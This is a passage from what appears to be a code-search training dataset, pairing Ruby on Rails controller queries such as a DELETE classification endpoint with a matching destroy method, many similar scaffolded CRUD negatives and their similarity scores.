"def update\n\t\trespond_to do |format|\n\t\t\tif @classroom.update(classroom_params)\n\t\t\t\tformat.html { redirect_to @classroom, notice: \"Classroom was successfully updated.\" }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @classroom.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n if @classroom.update(classroom_params)\n render :show, status: :ok, location: @classroom\n else\n render json: @classroom.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @product_classify.update(product_classify_params)\n format.html { redirect_to :product_classifies, notice: '产品分类修改成功。' }\n format.json { render :show, status: :ok, location: @product_classify }\n else\n format.html { render :edit }\n format.json { render json: @product_classify.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67100155",
"0.66281736",
"0.6524881",
"0.6452379",
"0.6452379",
"0.6433005",
"0.64201784",
"0.6417815",
"0.63855267",
"0.6357982",
"0.634495",
"0.633136",
"0.6271337",
"0.6270323",
"0.6196443",
"0.61885625",
"0.6135036",
"0.6129476",
"0.6114893",
"0.61010915",
"0.60980946",
"0.60910475",
"0.608203",
"0.60761565",
"0.6062263",
"0.60400045",
"0.6020946",
"0.6016485",
"0.60034305",
"0.59963804",
"0.59765494",
"0.59242916",
"0.5923381",
"0.59141517",
"0.58980834",
"0.5894195",
"0.58917725",
"0.5885538",
"0.58613855",
"0.5859141",
"0.58579475",
"0.5856228",
"0.5849033",
"0.58328635",
"0.5832161",
"0.5823885",
"0.58174115",
"0.58079976",
"0.58078694",
"0.57980084",
"0.57893735",
"0.578882",
"0.5778976",
"0.57714236",
"0.5768763",
"0.576088",
"0.57523376",
"0.57482666",
"0.57482666",
"0.5743498",
"0.57350266",
"0.57350266",
"0.5728748",
"0.5723984",
"0.5723794",
"0.57189304",
"0.5710052",
"0.5703137",
"0.56945825",
"0.56928056",
"0.56710523",
"0.56625605",
"0.56588423",
"0.5658806",
"0.56554186",
"0.5647832",
"0.56452024",
"0.5636125",
"0.56318486",
"0.5618128",
"0.56071216",
"0.5604821",
"0.5594739",
"0.5582617",
"0.5582617",
"0.55761623",
"0.5567943",
"0.55625445",
"0.55615073",
"0.55592",
"0.5557758",
"0.55562717",
"0.55556774",
"0.55459964",
"0.55414164",
"0.5539991",
"0.5533875",
"0.55249095",
"0.5515471",
"0.5512211"
] |
0.71494967
|
0
|
DELETE /clasifications/1 or /clasifications/1.json
|
def destroy
@clasification.destroy
respond_to do |format|
format.html { redirect_to clasifications_url, notice: "Clasification was successfully destroyed." }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @classtable = Classtable.find(params[:id])\n @classtable.destroy\n\n respond_to do |format|\n format.html { redirect_to classtables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classification = Classification.find(params[:id])\n @classification.destroy\n\n respond_to do |format|\n format.html { redirect_to classifications_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.classification')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clclass = Clclass.find(params[:id])\n @clclass.destroy\n\n respond_to do |format|\n format.html { redirect_to clclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clasificacion = Clasificacion.find(params[:id])\n @clasificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(clasificaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @class = Classe.find(params[:id])\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to klasses_url, notice: 'Class was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_classification.destroy\n respond_to do |format|\n format.html { redirect_to item_classifications_url, notice: 'Classificação destruída com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @risk_classification = RiskClassification.find(params[:id])\n @risk_classification.destroy\n\n respond_to do |format|\n format.html { redirect_to risk_classifications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classe = Classe.find(params[:id])\n @classe.destroy\n\n respond_to do |format|\n format.html { redirect_to classi_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_class = TestClass.find(params[:id])\n @test_class.destroy\n\n respond_to do |format|\n format.html { redirect_to test_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @myclass = Myclass.find(params[:id])\n @myclass.destroy\n\n respond_to do |format|\n format.html { redirect_to myclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @education_class.destroy\n respond_to do |format|\n format.html { redirect_to education_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to management_klasses_url, notice: 'Class was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classified.destroy\n respond_to do |format|\n format.html { redirect_to classifieds_url, notice: 'Classified was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classified.destroy\n respond_to do |format|\n format.html { redirect_to classifieds_url, notice: 'Classified was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clazz = Clazz.find(params[:id])\n @clazz.destroy\n\n respond_to do |format|\n format.html { redirect_to clazzs_url }\n #format.json { head :no_content }\n format.js { render :nothing => true }\n end\n end",
"def destroy\n @clasificacion_pegi = ClasificacionPegi.find(params[:id])\n @clasificacion_pegi.destroy\n\n respond_to do |format|\n format.html { redirect_to clasificacion_pegis_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @classified = Classified.find(params[:id])\n @classified.destroy\n\n respond_to do |format|\n format.html { redirect_to(classifieds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @classified = @user.classifieds.find(params[:id])\n @classified.destroy\n\n respond_to do |format|\n format.html { redirect_to classifieds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apex_class.destroy\n respond_to do |format|\n format.html { redirect_to apex_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classifier.destroy\n respond_to do |format|\n format.html { redirect_to classifiers_url, notice: 'Classifier was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @staffclassification = Staffclassification.find(params[:id])\n @staffclassification.destroy\n\n respond_to do |format|\n format.html { redirect_to(staffclassifications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @klass = Klass.find(params[:id])\n @klass.destroy\n\n respond_to do |format|\n format.html { redirect_to(klasses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @classified = Classified.find(params[:id])\n @classified.destroy\n\n respond_to do |format|\n format.html { redirect_to(cyberstock_admin_classifieds_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @classs.destroy\n respond_to do |format|\n format.html { redirect_to classses_url, notice: 'Classs was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @business_classification.destroy\n respond_to do |format|\n format.html { redirect_to business_classifications_url, notice: 'Business classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classication.destroy\n respond_to do |format|\n format.html { redirect_to classications_url, notice: 'Classication was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classname.destroy\n respond_to do |format|\n format.html { redirect_to classnames_url, notice: 'Classname was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_detail.destroy\n respond_to do |format|\n format.html { redirect_to class_details_url, notice: 'Class detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crew_class.destroy\n respond_to do |format|\n format.html { redirect_to crew_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @data_class.destroy\n respond_to do |format|\n format.html { redirect_to data_classes_url, notice: 'Data class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taxon_name_classification.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Taxon name classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_class.destroy\n respond_to do |format|\n format.html { redirect_to subject_classes_url }\n format.json { head :no_content }\n end\n end",
"def deleteclass(cl)\n params = self.params\n params.delete_if { |k,v| k.to_s.match(/#{cl}::.*/) }\n write(params)\n end",
"def destroy\n @entity = @klass.find(params[:id])\n @entity.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_entities_url(entity: @klass_path) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_classification.destroy\n respond_to do |format|\n format.html { redirect_to project_classifications_url, notice: 'Project classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n @citizenship_class.destroy\n\n respond_to do |format|\n format.html { redirect_to grantee_path(@grantee) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @occupationclassification = Occupationclassification.find(params[:id])\n @occupationclassification.destroy\n\n respond_to do |format|\n format.html { redirect_to occupationclassifications_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @discipline_class_exam_type = DisciplineClassExamType.find(params[:id])\n @discipline_class_exam_type.destroy\n\n respond_to do |format|\n format.html { redirect_to discipline_class_exam_types_url, :notice => 'Tipo de Exame de Classe de Disciplina excluída com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class = Class.find(params[:id])\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to(classes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gg_classlist.destroy\n respond_to do |format|\n format.html { redirect_to gg_classlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_class_lab.destroy\n respond_to do |format|\n format.html { redirect_to request_class_labs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @detail_class.destroy\n respond_to do |format|\n format.html { redirect_to detail_classes_url, notice: 'Detail class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_taken = ClassTaken.find(params[:id])\n @class_taken.destroy\n\n respond_to do |format|\n format.html { redirect_to class_takens_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classwork.destroy\n respond_to do |format|\n format.html { redirect_to classworks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classtime.destroy\n respond_to do |format|\n format.html { redirect_to admin_classtimes_url, notice: 'Classtime was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sob_class.destroy\n respond_to do |format|\n format.html { redirect_to sob_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classessection.destroy\n respond_to do |format|\n format.html { redirect_to classessections_url, notice: 'Classessection was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @districtclass = Districtclass.find(params[:id])\n @districtclass.destroy\n\n respond_to do |format|\n format.html { redirect_to districtclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classification_code.destroy\n respond_to do |format|\n format.html { redirect_to classification_codes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taxon_determination.destroy\n respond_to do |format|\n format.html { redirect_to taxon_determinations_url }\n format.json { head :no_content }\n end\n end",
"def delete_class o_class\n cl = classname(o_class)\n logger.progname = 'RestDelete#DeleteClass'\n if @classes.include? cl\n begin\n \t response = @res[\"/class/#{@database}/#{cl}\"].delete\n if response.code == 204\n \t logger.info{\"Class #{cl} deleted.\"}\n @classes.delete(cl)\n end\n rescue RestClient::InternalServerError => e\n \t if get_database_classes(requery: true).include?(cl)\n \t logger.error{\"Class #{cl} still present.\"}\n \t logger.error{e.inspect}\n \t false\n \t else\n logger.error{e.inspect}\n \t true\n \t end\n rescue Exception => e\n logger.error{e.message}\n logger.error{e.inspect}\n end\n else\n cl.nil? ? logger.info{\"Class #{o_class} not present.\"} : logger.info{\"Class #{cl} not present.\"}\n end\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @criterion = Criterion.find(params[:id])\n @criterion.destroy\n\n respond_to do |format|\n format.html { redirect_to criteria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_class.destroy\n respond_to do |format|\n format.html { redirect_to food_classes_url, notice: 'Food class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classifield.destroy\n respond_to do |format|\n format.html { redirect_to @classifield, notice: 'Classifield was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subclass.destroy\n respond_to do |format|\n format.html { redirect_to subclasses_url, notice: 'Subclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_student.destroy\n respond_to do |format|\n format.html { redirect_to class_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @firstclass.destroy\n respond_to do |format|\n format.html { redirect_to firstclasses_url, notice: 'Firstclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @iclass = Iclass.find(params[:id])\n @iclass.destroy\n\n respond_to do |format|\n format.html { redirect_to iclasses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user_class = UserClass.find(params[:id])\n @user_class.destroy\n\n respond_to do |format|\n format.html { redirect_to user_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classment.destroy\n respond_to do |format|\n format.html { redirect_to classments_url, notice: 'Classment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member_class.destroy\n respond_to do |format|\n format.html { redirect_to member_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @s_class.destroy\n respond_to do |format|\n format.html { redirect_to s_classes_url, notice: 'S class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_class.destroy\n respond_to do |format|\n format.html { redirect_to service_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_test.destroy\n respond_to do |format|\n format.html { redirect_to class_tests_url, notice: 'Class test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_class = ItemClass.find(params[:id])\n @item_class.destroy\n\n respond_to do |format|\n format.html { redirect_to item_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classroom = Classroom.find(params[:id])\n @classroom.destroy\n\n respond_to do |format|\n format.html { redirect_to classrooms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_type.destroy\n respond_to do |format|\n format.html { redirect_to class_types_url, notice: 'Class type was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @incomeclassification = Incomeclassification.find(params[:id])\n @incomeclassification.destroy\n\n respond_to do |format|\n format.html { redirect_to incomeclassifications_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @inclass.destroy\n respond_to do |format|\n format.html { redirect_to inclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_class.destroy\n respond_to do |format|\n format.html { redirect_to student_classes_url, notice: \"Student class was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @criterion = Criterion.find(params[:id])\n @criterion.destroy\n\n head :no_content\n end",
"def destroy\n @class_request = ClassRequest.find(params[:id])\n @class_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(class_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle_class = VehicleClass.find(params[:id])\n @vehicle_class.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_classes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @schoolclass = Schoolclass.find(params[:id])\n @schoolclass.destroy\n\n respond_to do |format|\n format.html { redirect_to schoolclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @investigationclassification.destroy\n respond_to do |format|\n format.html { redirect_to investigationclassifications_url, notice: 'Investigationclassification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cla.destroy\n respond_to do |format|\n format.html { redirect_to clas_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exam_category = ExamCategory.find(params[:id])\n @exam_category.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classwork = Classwork.find(params[:id])\n @classwork.update_attributes(:deleted => @classwork.deleted ? false : true)\n #@classwork.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_classworks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category_classified.destroy\n respond_to do |format|\n format.html { redirect_to category_classifieds_url, notice: 'Category classified was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @colaboration = Colaboration.find(params[:id])\n @colaboration.destroy\n\n respond_to do |format|\n format.html { redirect_to colaborations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_detail = ClassDetail.find(params[:id])\n @class_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to(class_details_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @graduating_class.destroy\n respond_to do |format|\n format.html { redirect_to graduating_classes_url, notice: 'Graduating class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reflection = Reflection.find(params[:id])\n @reflection.destroy\n\n respond_to do |format|\n format.html { redirect_to reflections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discipleship_class.destroy\n respond_to do |format|\n format.html { redirect_to discipleship_classes_url, notice: 'Discipleship class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classified_person = ClassifiedPerson.find(params[:id])\n @classified_person.destroy\n\n respond_to do |format|\n format.html { redirect_to(classified_people_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @class.destroy\n respond_to do |format|\n format.html { redirect_to classes_url }\n flash.now[:notice] = \"Class was successfully destroyed.\"\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n end",
"def destroy\n @classification_fund.destroy\n respond_to do |format|\n format.html { redirect_to classification_funds_url, notice: 'Classification fund was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @biocuration_classification.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Biocuration classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n set_updatecheck\n @cla.destroy\n respond_to do |format|\n format.html { redirect_to clas_url, notice: 'Cla was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @defect_type.destroy\n respond_to do |format|\n format.html { redirect_to defect_types_url, notice: 'Defect type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trainclass.destroy\n respond_to do |format|\n format.html { redirect_to trainclasses_url, notice: 'Trainclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ark_class.destroy\n respond_to do |format|\n format.html { redirect_to ark_classes_url, notice: 'Ark class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @info_class = InfoClass.find(params[:id])\r\n @info_class.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(info_classes_url) }\r\n format.xml { head :ok }\r\n format.json { render :text => '{status: \"success\"}'}\r\n end\r\n end",
"def destroy\n @school_class = SchoolClass.find(params[:id])\n @school_class.destroy\n\n respond_to do |format|\n format.html { redirect_to school_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contacter = Contacter.find(params[:id])\n @contacter.destroy\n\n respond_to do |format|\n format.html { redirect_to contacters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @research_c = ResearchC.find(params[:id])\n @research_c.destroy\n\n respond_to do |format|\n format.html { redirect_to research_cs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classcourse.destroy\n respond_to do |format|\n format.html { redirect_to classcourses_url, notice: 'Classcourse was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book_of_class = BookOfClass.find(params[:id])\n @book_of_class.destroy\n\n respond_to do |format|\n format.html { redirect_to book_of_classes_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7173859",
"0.7167455",
"0.69788367",
"0.69367486",
"0.6934053",
"0.6852698",
"0.6843896",
"0.684144",
"0.68140477",
"0.6777117",
"0.676174",
"0.675907",
"0.6743268",
"0.67407304",
"0.67407304",
"0.6730304",
"0.6728989",
"0.6725533",
"0.67099106",
"0.6672651",
"0.6659072",
"0.66466296",
"0.66363275",
"0.66353357",
"0.6631445",
"0.6628414",
"0.6617203",
"0.65784615",
"0.6564553",
"0.6562783",
"0.6559964",
"0.6559287",
"0.6549843",
"0.65497667",
"0.6515961",
"0.648991",
"0.6488119",
"0.6486278",
"0.64841354",
"0.6481414",
"0.6481017",
"0.6479664",
"0.6476952",
"0.64752686",
"0.64727265",
"0.6459388",
"0.6458057",
"0.6454965",
"0.6437204",
"0.64365906",
"0.6430278",
"0.6424001",
"0.64125705",
"0.64059246",
"0.64050037",
"0.64020085",
"0.6381735",
"0.6379818",
"0.6378144",
"0.6378036",
"0.6376002",
"0.6375054",
"0.63741827",
"0.63695055",
"0.63672376",
"0.6366739",
"0.63595855",
"0.635776",
"0.6355901",
"0.6355884",
"0.6343277",
"0.6330366",
"0.6325203",
"0.6316189",
"0.63158244",
"0.6309807",
"0.63088113",
"0.63038296",
"0.6290956",
"0.6282472",
"0.62812716",
"0.6279738",
"0.62763274",
"0.6272486",
"0.62636113",
"0.62614894",
"0.6260119",
"0.62595826",
"0.6257877",
"0.62549615",
"0.6253978",
"0.62435514",
"0.6242376",
"0.6235909",
"0.6234634",
"0.6233437",
"0.6229199",
"0.62288445",
"0.62264806",
"0.62258804"
] |
0.74043316
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_clasification
@clasification = Clasification.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
